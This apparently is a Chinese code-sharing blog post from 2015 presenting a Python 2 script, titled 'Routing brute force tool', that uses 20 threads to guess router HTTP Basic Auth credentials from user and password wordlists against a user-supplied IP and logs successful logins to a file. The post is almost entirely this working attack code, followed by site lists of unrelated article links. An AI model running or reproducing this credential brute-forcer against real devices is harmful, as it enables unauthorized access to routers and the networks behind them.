python实现多线程暴力破解登陆路由器功能代码分享


Posted in Python onJanuary 04, 2015

运行时请在其目录下添加user.txt passwd.txt两文件。否则会报错。程序没有加异常处理。代码比较挫.....

#coding:utf-8- 

import base64 

import urllib2 

import Queue 

import threading,re,sys 

queue = Queue.Queue() 

class Rout_thread(threading.Thread):
  def __init__(self,queue,passwd):
    threading.Thread.__init__(self) 

    self.queue=queue 

    self.passwordlist=passwd 

  def run(self): 

    self.user=queue.get() 

    for self.passwd in self.passwordlist: 

      request = urllib2.Request("http://"+target) 

      psw_base64 = "Basic " + base64.b64encode(self.user + ":" + self.passwd) 

      request.add_header('Authorization', psw_base64) 

      try: 

         

        response = urllib2.urlopen(request) 

        print "[+]Correct! Username: %s, password: %s" % (self.user,self.passwd) 

        fp3 = open('log.txt','a') 

        fp3.write(self.user+'||'+self.passwd+'\r\n') 

        fp3.close() 

      except urllib2.HTTPError: 

        print "[-]password:%s Error!" % (self.passwd)
 
if __name__ == '__main__': 

  print ''' 

    ####################################################### 

    #                                                     # 

    #                Routing brute force tool             # 

    #                                                     # 

    #                 by:well                             # 

    #                                                    # 

    ####################################################### 

''' 

  passwordlist = [] 

  line = 20 

  threads = [] 

  global target 

  target = raw_input("input ip:") 

  fp =open("user.txt") 

  fp2=open("passwd.txt") 

  for user in fp.readlines(): 

    queue.put(user.split('\n')[0]) 

  for passwd in fp2.readlines(): 

    passwordlist.append(passwd.split('\n')[0]) 

    #print passwordlist 

       

  fp.close() 

  fp2.close() 

  for i in range(line): 

    a = Rout_thread(queue,passwordlist) 

    a.start() 

    threads.append(a) 

  for j in threads: 

    j.join()
Python 相关文章推荐
python列表操作使用示例分享
Feb 21 Python
使用Python脚本生成随机IP的简单方法
Jul 30 Python
使用python实现接口的方法
Jul 07 Python
python中yaml配置文件模块的使用详解
Apr 27 Python
对Python3.6 IDLE常用快捷键介绍
Jul 16 Python
Python基本socket通信控制操作示例
Jan 30 Python
详解Python匿名函数(lambda函数)
Apr 19 Python
解析python的局部变量和全局变量
Aug 15 Python
使用pyqt5 tablewidget 单元格设置正则表达式
Dec 13 Python
Python面向对象封装操作案例详解 II
Jan 02 Python
python算的上脚本语言吗
Jun 22 Python
Python进程池与进程锁之语法学习
Apr 11 Python
Python中对列表排序实例
Jan 04 #Python
Python实现爬取知乎神回复简单爬虫代码分享
Jan 04 #Python
Python连接mssql数据库编码问题解决方法
Jan 01 #Python
Python中optparse模块使用浅析
Jan 01 #Python
Python中urllib2模块的8个使用细节分享
Jan 01 #Python
Python读取ini文件、操作mysql、发送邮件实例
Jan 01 #Python
Python实现检测服务器是否可以ping通的2种方法
Jan 01 #Python
You might like
深入php 正则表达式的学习探讨
2013/06/06 PHP
PHP函数preg_match_all正则表达式的基本使用详细解析
2013/08/31 PHP
地震发生中逃生十大法则
2008/05/12 Javascript
写给想学习Javascript的朋友一点学习经验小结
2010/11/23 Javascript
原生Js实现按的数据源均分时间点幻灯片效果(已封装)
2010/12/28 Javascript
动态创建样式表在各浏览器中的差异测试代码
2011/09/13 Javascript
简单的前端js+ajax 购物车框架(入门篇)
2011/10/29 Javascript
js遍历td tr等html元素
2012/12/13 Javascript
js实现简单折叠、展开菜单的方法
2015/08/28 Javascript
基于jQuery的网页影音播放器jPlayer的基本使用教程
2016/03/08 Javascript
javascript事件绑定学习要点
2016/03/09 Javascript
AngularJs  Using $location详解及示例代码
2016/09/02 Javascript
根据输入邮箱号跳转到相应登录地址的解决方法
2016/12/13 Javascript
js实现把图片的绝对路径转为base64字符串、blob对象再上传
2016/12/29 Javascript
JavaScript中的遍历详解(多种遍历)
2017/04/07 Javascript
Angular 2父子组件数据传递之局部变量获取子组件其他成员
2017/07/04 Javascript
Vue 报错TypeError: this.$set is not a function 的解决方法
2018/12/17 Javascript
react的滑动图片验证码组件的示例代码
2019/02/27 Javascript
[02:19]2018年度DOTA2最佳核心位选手-完美盛典
2018/12/17 DOTA
用pywin32实现windows模拟鼠标及键盘动作
2014/04/22 Python
python获取从命令行输入数字的方法
2015/04/29 Python
python3使用pyqt5制作一个超简单浏览器的实例
2017/10/19 Python
matplotlib作图添加表格实例代码
2018/01/23 Python
tensorflow实现加载mnist数据集
2018/09/08 Python
python基于celery实现异步任务周期任务定时任务
2019/12/30 Python
python opencv 检测移动物体并截图保存实例
2020/03/10 Python
python爬虫基础知识点整理
2020/06/02 Python
python在linux环境下安装skimage的示例代码
2020/10/14 Python
美国基督教约会网站:ChristianCafe.com
2020/02/04 全球购物
介绍一下linux的文件系统
2015/10/06 面试题
JAVA高级程序员面试题
2013/09/06 面试题
会计出纳员的自我评价
2014/01/15 职场文书
《小壁虎借尾巴》教学反思
2014/02/16 职场文书
《荷花》教学反思
2014/04/16 职场文书
2014年教师思想工作总结
2014/12/03 职场文书
Go语言读取txt文档的操作方法
2022/01/22 Golang